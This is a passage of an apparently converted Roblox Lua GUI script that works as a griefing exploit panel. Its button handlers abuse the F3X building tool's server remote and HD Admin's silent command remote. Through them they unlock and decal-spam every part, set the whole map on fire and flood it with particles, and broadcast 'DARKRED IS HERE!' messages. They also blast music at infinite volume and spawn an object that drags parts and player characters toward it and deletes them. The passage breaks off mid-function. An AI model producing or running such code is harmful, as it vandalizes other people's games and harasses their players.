UI["9c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9c"]["Position"] = UDim2.new(0.32796, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9d"] = Instance.new("ImageLabel", UI["99"])
UI["9d"]["BorderSizePixel"] = 0
UI["9d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9d"]["Image"] = [[rbxassetid://104611284028546]]
UI["9d"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["9d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9d"]["Position"] = UDim2.new(0.23148, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9e"] = Instance.new("ImageLabel", UI["99"])
UI["9e"]["BorderSizePixel"] = 0
UI["9e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9e"]["Image"] = [[rbxassetid://97661894122632]]
UI["9e"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["9e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9e"]["Position"] = UDim2.new(0.62261, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9f"] = Instance.new("ImageLabel", UI["99"])
UI["9f"]["BorderSizePixel"] = 0
UI["9f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9f"]["Image"] = [[rbxassetid://96073597459340]]
UI["9f"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["9f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9f"]["Position"] = UDim2.new(0.71909, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a0"] = Instance.new("ImageLabel", UI["99"])
UI["a0"]["BorderSizePixel"] = 0
UI["a0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a0"]["Image"] = [[rbxassetid://102515376855970]]
UI["a0"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a0"]["Position"] = UDim2.new(0.81818, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a1"] = Instance.new("ImageLabel", UI["99"])
UI["a1"]["BorderSizePixel"] = 0
UI["a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a1"]["Image"] = [[rbxassetid://123385449036384]]
UI["a1"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a1"]["Position"] = UDim2.new(0.91466, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a2"] = Instance.new("ImageLabel", UI["99"])
UI["a2"]["BorderSizePixel"] = 0
UI["a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a2"]["Image"] = [[rbxassetid://110390706790705]]
UI["a2"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a2"]["Position"] = UDim2.new(1.01244, 0, 0.86597, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a3"] = Instance.new("ImageLabel", UI["99"])
UI["a3"]["BorderSizePixel"] = 0
UI["a3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a3"]["Image"] = [[rbxassetid://116096918776430]]
UI["a3"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a3"]["Position"] = UDim2.new(1.01244, 0, 0.7157, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a4"] = Instance.new("ImageLabel", UI["99"])
UI["a4"]["BorderSizePixel"] = 0
UI["a4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a4"]["Image"] = [[rbxassetid://97821870634599]]
UI["a4"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a4"]["Position"] = UDim2.new(1.01244, 0, 0.56391, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a5"] = Instance.new("ImageLabel", UI["99"])
UI["a5"]["BorderSizePixel"] = 0
UI["a5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a5"]["Image"] = [[rbxassetid://73916685652770]]
UI["a5"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a5"]["Position"] = UDim2.new(1.01244, 0, 0.41364, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a6"] = Instance.new("ImageLabel", UI["99"])
UI["a6"]["BorderSizePixel"] = 0
UI["a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a6"]["Image"] = [[rbxassetid://134944428887587]]
UI["a6"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a6"]["Position"] = UDim2.new(1.01244, 0, 0.26185, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["a7"] = Instance.new("ImageLabel", UI["99"])
UI["a7"]["BorderSizePixel"] = 0
UI["a7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["a7"]["Image"] = [[rbxassetid://106225805787100]]
UI["a7"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["a7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["a7"]["Position"] = UDim2.new(1.01244, 0, 0.11158, 0)
-- // StarterGui.ScreenGui.ImageLabel.information.user.LocalScript \\ --
local function SCRIPT_5()
local script = UI["5"]
local Players = game:GetService("Players")
local textLabel = script.Parent
local player = Players.LocalPlayer
textLabel.Text = "user: " .. player.Name
end
task.spawn(SCRIPT_5)
-- // StarterGui.ScreenGui.ImageLabel.information.Country.LocalScript \\ --
local function SCRIPT_7()
local script = UI["7"]
local LocalizationService = game:GetService("LocalizationService")
local Players = game:GetService("Players")
local textLabel = script.Parent
local player = Players.LocalPlayer
local success, countryCode = pcall(function()
return LocalizationService:GetCountryRegionForPlayerAsync(player)
end)
if success and countryCode then
local successTrans, translator = pcall(function()
return LocalizationService:GetTranslatorForPlayerAsync(player)
end)
if successTrans and translator then
local countryName = translator:Translate(textLabel, countryCode)
textLabel.Text = "Country: " .. countryName
else
textLabel.Text = "Country: " .. countryCode
end
else
textLabel.Text = "Country: Unknown"
end
end
task.spawn(SCRIPT_7)
-- // StarterGui.ScreenGui.ImageLabel.information.Age days.LocalScript \\ --
local function SCRIPT_9()
local script = UI["9"]
local Players = game:GetService("Players")
local textLabel = script.Parent
local player = Players.LocalPlayer
textLabel.Text = "Age Days: " .. player.AccountAge
end
task.spawn(SCRIPT_9)
-- // StarterGui.ScreenGui.ImageLabel.information.Game id.LocalScript \\ --
local function SCRIPT_b()
local script = UI["b"]
local textLabel = script.Parent
local gameId = game.GameId
textLabel.Text = "Game ID: " .. gameId
end
task.spawn(SCRIPT_b)
-- // StarterGui.ScreenGui.ImageLabel.information.ImageLabel.LocalScript \\ --
local function SCRIPT_f()
local script = UI["f"]
local Players = game:GetService("Players")
local imageLabel = script.Parent
local player = Players.LocalPlayer
local userId = player.UserId
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isLoaded = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
if isLoaded then
imageLabel.Image = content
end
end
task.spawn(SCRIPT_f)
-- // StarterGui.ScreenGui.ImageLabel.Script.message.LocalScript \\ --
local function SCRIPT_14()
local script = UI["14"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverMessage DARKRED IS HERE!")
end)
end
task.spawn(SCRIPT_14)
-- // StarterGui.ScreenGui.ImageLabel.Script.666.LocalScript \\ --
local function SCRIPT_16()
local script = UI["16"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local backpack = player.Backpack
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return tool
end
local activeTool = getf3x()
if not activeTool then
warn("¡No se encontró la herramienta F3X!")
return
end
local remote = activeTool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(unpack(args))
end
local function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
local function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
local function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
local function addfire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
local function syncfire(part, size, heat)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = size or 30,
["Heat"] = heat or 35
}
}
}
_(args)
end
local function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
task.spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
local function fireall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
task.spawn(function()
addfire(v)
syncfire(v, 30, 35)
end)
end
end
end
local function runhdadmin()
pcall(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local hdClient = ReplicatedStorage:FindFirstChild("HDAdminHDClient")
if hdClient then
local signals = hdClient:FindFirstChild("Signals")
if signals and signals:FindFirstChild("RequestCommandSilent") then
signals.RequestCommandSilent:InvokeServer(";titler all 666.666.666.666")
signals.RequestCommandSilent:InvokeServer(";time 0")
end
end
end)
end
spam("129741903718735")
fireall()
runhdadmin()
end)
end
task.spawn(SCRIPT_16)
-- // StarterGui.ScreenGui.ImageLabel.Script.title me.LocalScript \\ --
local function SCRIPT_18()
local script = UI["18"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titler me DarkRed IS HERE!")
end)
end
task.spawn(SCRIPT_18)
-- // StarterGui.ScreenGui.ImageLabel.Script.title all.LocalScript \\ --
local function SCRIPT_1a()
local script = UI["1a"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titler all DarkRed IS HERE!")
end)
end
task.spawn(SCRIPT_1a)
-- // StarterGui.ScreenGui.ImageLabel.Script.patrick.LocalScript \\ --
local function SCRIPT_1c()
local script = UI["1c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommandSilent:InvokeServer(";time 5.7")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
local function invoke(args)
remote:InvokeServer(unpack(args))
end
local function applyRedLight(part)
if not part or not part:IsA("BasePart") then return end
local createArgs = {
"CreateLights",
{
{
Part = part,
LightType = "PointLight"
}
}
}
local syncArgs = {
"SyncLighting",
{
{
Part = part,
LightType = "PointLight",
Color = Color3.fromRGB(255, 0, 0),
Range = 60,
Brightness = 2
}
}
}
invoke(createArgs)
invoke(syncArgs)
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
remote:InvokeServer(unpack(args))
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Krab(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0, 53, 0), workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"pat")
AddMesh(v)
SetMesh(v,"455783801")
SetTexture(v,id)
MeshResize(v,Vector3.new(0.7,0.7,0.7))
SetLocked(v,true)
end
end
end
Krab("106211613892663")
local function getPatPart()
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.Name == "pat" then
return v
end
end
return nil
end
local pat = getPatPart()
if pat then
applyRedLight(pat)
end
RequestCommandSilent:InvokeServer(";music 7816195044 ;pitch 0.445 ;volume inf")
task.delay(19, function()
RequestCommandSilent:InvokeServer(";music 9046435309 ;volume inf")
end)
local function getTargetPart()
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.Name == "pat" then
return v
end
end
return nil
end
local function getValidParts(targetPart)
local parts = {}
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart")
and v:IsDescendantOf(workspace)
and v ~= targetPart
and v.Name ~= "Head"
and v.Name ~= "Torso"
and v.Name ~= "Baseplate"
and v.Name ~= "SpawnLocation"
and v.Size.X <= 60
and v.Size.Z <= 60
then
table.insert(parts, v)
end
end
return parts
end
local function movePartToward(part, targetCF)
local dir = (targetCF.Position - part.Position).Unit
local speed = 1
local maxSpeed = 1000
local acceleration = 4
task.spawn(function()
while speed < maxSpeed do
speed += acceleration
if speed > maxSpeed then speed = maxSpeed end
task.wait(0.1)
end
end)
local newCF = CFrame.new(part.Position + dir * speed)
MovePart(part, newCF)
end
task.spawn(function()
while true do
local target = getTargetPart()
if not target then task.wait(0.5) continue end
local parts = getValidParts(target)
if #parts == 0 then break end
local index = 1
while index <= #parts do
for i = 1, 1 do
local part = parts[index]
index += 1
if not part then break end
task.spawn(function()
while part and part:IsDescendantOf(workspace) do
local distance = (part.Position - target.Position).Magnitude
if part.Name == "HumanoidRootPart" and distance <= 14 then
local parent = part.Parent
if parent then
delete(parent)
end
break
elseif distance <= 10 then
delete(part)
break
end
SetAnchor(true, part)
movePartToward(part, target.CFrame)
task.wait(0.05)
end
end)
end
task.wait(0.3)
end
task.wait(1)
end
end)
end)
end
task.spawn(SCRIPT_1c)
-- // StarterGui.ScreenGui.ImageLabel.Script.message 2.LocalScript \\ --
local function SCRIPT_1e()
local script = UI["1e"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverMessage 1x6xjxG IS THE KING OF THE SERVER")
end)
end
task.spawn(SCRIPT_1e)
-- // StarterGui.ScreenGui.ImageLabel.Script.777.LocalScript \\ --
local function SCRIPT_20()
local script = UI["20"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local backpack = player.Backpack
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return tool
end
local activeTool = getf3x()
if not activeTool then
warn("f3x not found, skid")
return
end
local remote = activeTool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(unpack(args))
end
local function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
local function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
local function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
local function addfire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
local function syncfire(part, size, heat)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = size or 30,
["Heat"] = heat or 35,
["Color"] = Color3.fromRGB(148, 0, 211),
["SecondaryColor"] = Color3.fromRGB(75, 0, 130)
}
}
}
_(args)
end
local function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
task.spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
local function fireall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
task.spawn(function()
addfire(v)
syncfire(v, 30, 35)
end)
end
end
end
local function runhdadmin()
pcall(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local hdClient = ReplicatedStorage:FindFirstChild("HDAdminHDClient")
if hdClient then
local signals = hdClient:FindFirstChild("Signals")
if signals and signals:FindFirstChild("RequestCommandSilent") then
signals.RequestCommandSilent:InvokeServer(";titlep all 777.777.777.777")
signals.RequestCommandSilent:InvokeServer(";time 0")
end
end
end)
end
spam("15224888061")
fireall()
runhdadmin()
end)
end
task.spawn(SCRIPT_20)
-- // StarterGui.ScreenGui.ImageLabel.Script.Particles.LocalScript \\ --
local function SCRIPT_22()
local script = UI["22"]
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = Players.LocalPlayer
local particlesDecalID = "97661894122632"
local SPAM_DELAY = 0.03
local button = script.Parent
local function getF3XRemote()
local tool
if player.Character then
tool = player.Character:FindFirstChild("Building Tools+")
end
if not tool and player:FindFirstChild("Backpack") then
tool = player.Backpack:FindFirstChild("Building Tools+")
end
if not tool then
for _, v in ipairs(player:GetDescendants()) do
if v.Name == "SyncAPI" then tool = v.Parent break end
end
end
if not tool then
for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
if v.Name == "SyncAPI" then tool = v.Parent break end
end
end
if tool then
local api = tool:FindFirstChild("SyncAPI")
if api then return api:FindFirstChild("ServerEndpoint") end
end
end
local function spamParticles()
local remote = getF3XRemote()
if not remote then
return
end
local function fire(args)
pcall(function() remote:InvokeServer(unpack(args)) end)
end
task.spawn(function()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
task.spawn(function()
fire({"SetLocked", {v}, false})
fire({"CreateDecorations", {{Part = v, DecorationType = "ParticleEmitter"}}})
fire({"SyncDecorate", {{
Part = v,
DecorationType = "ParticleEmitter",
Rate = "5000",
SpreadAngle = "18000",
RotSpeed = "10",
Texture = "rbxassetid://" .. particlesDecalID,
Speed = "24",
Size = "1"
}}})
end)
task.wait(SPAM_DELAY)
end
end
end)
end
button.MouseButton1Click:Connect(spamParticles)
end
task.spawn(SCRIPT_22)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox.LocalScript \\ --
local function SCRIPT_24()
local script = UI["24"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("97661894122632")
end)
end
task.spawn(SCRIPT_24)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox 2.LocalScript \\ --
local function SCRIPT_26()
local script = UI["26"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
